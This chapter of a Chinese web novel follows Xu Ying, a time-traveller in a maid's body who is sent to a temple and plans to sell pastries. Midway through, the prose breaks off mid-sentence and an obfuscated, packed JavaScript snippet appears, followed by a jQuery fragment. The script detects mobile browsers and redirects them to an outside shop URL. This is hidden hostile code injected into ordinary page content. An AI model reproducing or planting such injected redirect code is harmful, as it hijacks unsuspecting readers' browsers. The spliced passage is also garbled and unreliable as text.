永宁侯府侧门草木葱郁,有几个身穿蓝衣的丫鬟在树荫下哭得不能自己,拉着徐樱的手不让她走。
“樱樱,我舍不得你……”
徐樱哭得更大声,“我也舍不得你们,我舍不得侯府,舍不得大公子,我宁愿一头撞死……呜呜……”
说完,她作势往树上撞去。
身边丫鬟有拽徐樱胳膊的,有拉她手的,还有抱着她腰,不让她做傻事。
夏桃喝道:“说什么死不死的,好好活着比什么都强,我们信你不会做那样的事。”
徐樱这才止住泪水,几人安慰道:“是啊,你对大公子一片痴心,怎么会爬二公子的床。
二公子当真是不把大公子放在眼里,只是大公子那边也不好周旋,不过还是保下你了,去大相国寺祈福总比去别处好。”
“就是,若是赶着去寺里上香,我们还能看你呢。”
徐樱低着头,几个丫鬟只当她伤心难过。
夏桃不舍道:“出府以后万事当心。”
徐樱感动地点点头,“我走之后,你们一定要保重,有空我会回来看你们的。”
她背着包袱踏过门槛,冲几人挥挥手,然后坐上一辆小的青葱顶的马车,马蹄哒哒哒地往城南大相国寺走。
徐樱扒着车窗依依不舍地往外看,直到永宁侯府变成一个小点,她才放下帘子,眼中的不舍也随帘子放下消失殆尽。
这场戏终于演完了。
她靠着车壁,松了口气,低头看看自己的手,又摸摸马车,还是觉得陌生。
她是三日前穿来的,醒的时候和二公子赵元综躺在一张床上。
赵元综上身不着寸缕,她一只手攀在他胸口,另一只手摸着他的劲瘦腰腹,自己就穿了一条亵裤一个肚兜。
徐樱那会儿还以为自己在做梦,以为这触感不是真的,就摸了两下。
然后赵元综就醒了,徐樱的噩梦开始了。
屋外闯进来一群人,男女都有,徐樱一个都不认识,为首的指责她不知廉耻,爬了二公子的床。
旁边的人指责赵元综青天白日,做这么不知廉耻的事,敢强占兄长房里的丫鬟。
……
晕头转向间这群人骂完了,徐樱被关进柴房,每日只让人送米水。倒是有丫鬟时常来看她,劝她该怎么做。
徐樱跟着套出些话。
原身是大公子赵元衡院中的三等丫鬟,做些擦拭洒扫的活,样貌极美,她对大公子痴心一片,赵元衡对她似乎也有意。
所以哪怕原身是三等丫鬟,院中的其他丫鬟对她也还算不错,就指望她日后做个妾,能拉扯她们一把。
当然,也有暗地里看不惯的,但只是使些小绊子,有点像塑料姐妹花。
听说那日她被关进柴房后,二公子的小娘要把她打死了事,是赵元衡极力保下她。
看她的丫鬟说,只要她一口咬定是赵元综强迫的,她不仅能活命,赵元衡还会以祈福为名送她去大相国寺避风头,等回来许她贵妾之位。
徐樱还听说,赵元综亲都定了,若此事传出去,女方必然会退亲。
徐樱答应了。
倒不是她稀罕贵妾之位,而是她实在没别的办法,两位公子争权夺势,她就是个被殃及的池鱼,倒不如收拾包袱滚蛋。
对此徐樱有些愧疚。
她那天没感觉,所以说和赵元综并没有发生什么,两个人只是脱光了躺在一张床上。
赵元综挺冤的。
可她自身都难保了,还管赵元综呢,当丫鬟的担心公子,咸吃萝卜淡操心。
徐樱摇摇头,反正离开侯府了,以后去大相国寺好好过日子吧。
徐樱对去大相国寺并不抵触,那几个小姐妹说了,她差点被赶去庄子。
庄子占地几百亩,都没几个人,这个时代没马车去哪儿都费劲,受欺负叫天天不应叫地地不灵。
而大相国寺是本朝香火最旺盛的寺庙。
人多,香客多,来来往往很是热闹。
徐樱没穿越前是家酒店的面点师傅,等她在大相国寺张罗个糕点摊子,多攒点钱,攒够了就找个山清水秀的地方养老。
马车慢慢停下,停在了大相国寺的东门。
管事将她送进寺,跟着一个大和尚说了几句话,徐樱就被带去了客舍。
和尚道:“施主,今后你就住在这儿。水井在前头,厨房也在那边,寺庙禁食荤腥,阿弥陀佛。”
徐樱也双手合十,轻声念了句“阿弥陀佛。”
管事目送和尚离开,轻飘飘瞧了徐樱一眼,在这样的地方,徐樱好像个妖精。
她刚哭过,眼眶红红的,明明不施粉黛却好像上了一层胭脂,眸子水盈盈的,让人忍不住怜惜,难怪大公子放心不下。
管事不再看,从怀里拿出来两张纸,“徐樱,这是你的卖身契和放良书。大公子说了,后面他会想办法把你接回去。还有这十两银子,你先用着。”
徐樱深吸一口气,“我等着大公子。”
这是她答应的要求,拿回卖身契,否则谈什么养老。
管事点点头,“你且收拾收拾吧。”
说完,他就离开了。
徐樱站着当了一会儿石头,等管事彻底走远立刻把门关上。
她看着屋子,嘴角慢慢露出一个笑。
她走到桌边拿来卖身契和银子看看,等下午她要去官府,她要良籍!
还接她回去……呸。
徐樱嘴里念念有词,“阿弥陀佛,保佑赵元衡这辈子都不要想起我来。”
念完,郑重地朝着寺里大殿的方向拜了三拜。
起身把纸塞怀里,徐樱看了看这屋子,虽小却也还不错,里外两间。
里间是睡的地方,一张木床,一个高柜。
外面有桌椅炉子,能简单做口饭吃。
虽说这处屋子不属于她,但是徐樱能从这住很久。
她又把包袱打开。
原身是三等丫鬟,月钱五百文,原身攒不下太多钱,她带出来的东西也少之又少。
两吊钱,几样首饰,几身衣裳,几条帕子,还有刚管事帮忙搬来的被褥,就是她全部家当了。
徐樱把这些放好,在屋里看了看,找来水桶,去前院水井打水。
屋里有尘土,得打扫。
客舍旁边就是和尚住的禅院,而尼姑们好像住在寺外东门那边的绣巷。
但寺里刚也见到尼姑了,看起来是有人烧饭的,吃在一处。
徐樱只是借住,都得自己做。
路上遇见几个和尚尼姑,还有两个小沙弥。徐樱去打水的时候,前头也有和尚打,她默默在旁等着。
那和尚打完水不好意思道:“女施主,我来帮你吧。”
徐樱这几天都没吃什么,能省些力气最好,她把桶递过去,“有劳了。”
和尚打了水,把桶放到徐樱面前,徐樱又道了声谢,“请问去哪儿买盆子呀?”
和尚:“今儿寺里有摆摊的,就在二三门那边,施主可以过去看看。”
说完,又是一句阿弥陀佛。
徐樱:“多谢大师。”
和尚耳朵一红,“不敢当不敢当。”
说完,一溜烟跑了。
徐樱扯扯嘴角,慢慢把水桶拎回去,桶装了水挺重,她走一会儿歇一会儿才给搬进去。
屋里没盆子,她拿了钱,把门锁上,打算去寺里碰碰运气。
除了盆,她还想买个小锅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900584|212925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如果能买到就蒸屉更好了。
面粉,蒸屉,铁锅……还有平日要吃的东西,也不知钱够不够。
十两银子不少,可徐樱不想再跟赵元衡扯上关系,那只能自己赚钱。
先去看看再说。
徐樱从绣巷离开,绕了一大圈,这才站到了大相国寺门口。
寺庙宝相庄严,禅音从里面传出来,让人心中澄净。
徐樱仰头看着,菩萨该不会看得出她是穿越的吧,不过刚刚也进来了,什么事都没有。
再说她穿越也不是自愿的,怕什么。
这么想,徐樱往里面迈了一步。
接着,她就看见那个和尚口中买东西的地方了,门下阴凉处有几个摊子,再走个几十步还有一门,应该就是二三门。
摊子一路排开,徐樱走马观花,有茶水摊面摊,还有卖花鸟的,往里走了走,她终于找到了卖杂货的。
这边价钱倒是不贵,徐樱问了两家,买了两个木盆,三个四掌宽的蒸屉,碗筷盘子各买两对,她一个人,也用不了再多。
把东西送回去一趟,又出来买了米面,一样就买了小半袋,还买了半袋绿豆一包干枣,小包盐。
糖也得要,做点心哪儿有不用糖的道理,可这极贵,一包就花了半吊钱。
徐樱忍痛买了,把东西都搬回去后再出来,买了柄铁锅,铁锅最贵,二两多银子,菜刀案板一两银子。
这一下十两银子一下就剩了六两。
东西送回去,徐樱感叹钱真不禁花,这回出来她忍不住和摊主打听,“这边摆摊什么都能卖吗?要交……就是占地需要交钱吗?”
“能卖,啥都能卖,你说掠地钱吧,一日十二文。”
徐樱看卖点心的倒是不多,那天天过来,也挺方便的。今儿她买了绿豆干枣,可以做绿豆糕枣泥糕来卖。
她笑了一下,摊主不禁多看两眼。
徐樱看看四周,人来人往,进寺的出寺的,还有好些人在这边挑选东西。
打听东西不能什么都不买,她选了个模具,问道:“这个多少钱,这儿每天都这么多人吗?”
人这么多,应该挺有赚头。
摊主大笑,“哪儿能啊,逢一八十三十五十八二十八才能进寺摆摊呢。”
徐樱:“一个月就六天!”
摊主点点头,“嗯,我平时都去别处摆摊,这个模具你若要,给三文就行了,要是拿两个,卖你五文。”
徐樱掏了五文钱,对着摊主道了声谢。
摊主瞧徐樱像是想在这边摆摊,不由道:“这会儿就已经不早了,等过了正午,这边就没啥人,下午人也不多。”
徐樱笑着道谢,“多谢大哥,对了,今儿是……”
“不是初八嘛。”
徐樱捏了捏衣袖,又看看茂盛的树,天不算热,现在最多四五月。
明儿就不让摆摊,她东西做出来卖给谁去。
还好打听了打听。
徐樱又买了些青菜板油菜籽油,寺庙禁荤腥,板油她偷偷藏在下面,然后抱着这些东西回了客舍。
最后,又出来一趟买了些柴火陶罐,留着放东西。
出门几趟,身上就剩六两银子一吊六百文的钱,她原本打算卖给上香的客人,可平时不让摆摊,一下把路给堵死了。
不然用这钱租个宅子,不在寺里住了。可徐樱又怕这么快搬走,有人找上来。
最主要的是,这里不要钱呀。
正琢磨着,外面响起一道声音,“今儿中午吃什么?不会又跟昨儿一样,白菜煮豆腐吧。”
“晚上没得吃,中午还吃这个,嘴里都淡出鸟来了。”
徐樱看着紧闭的门窗笑了一下,她知道卖给谁了。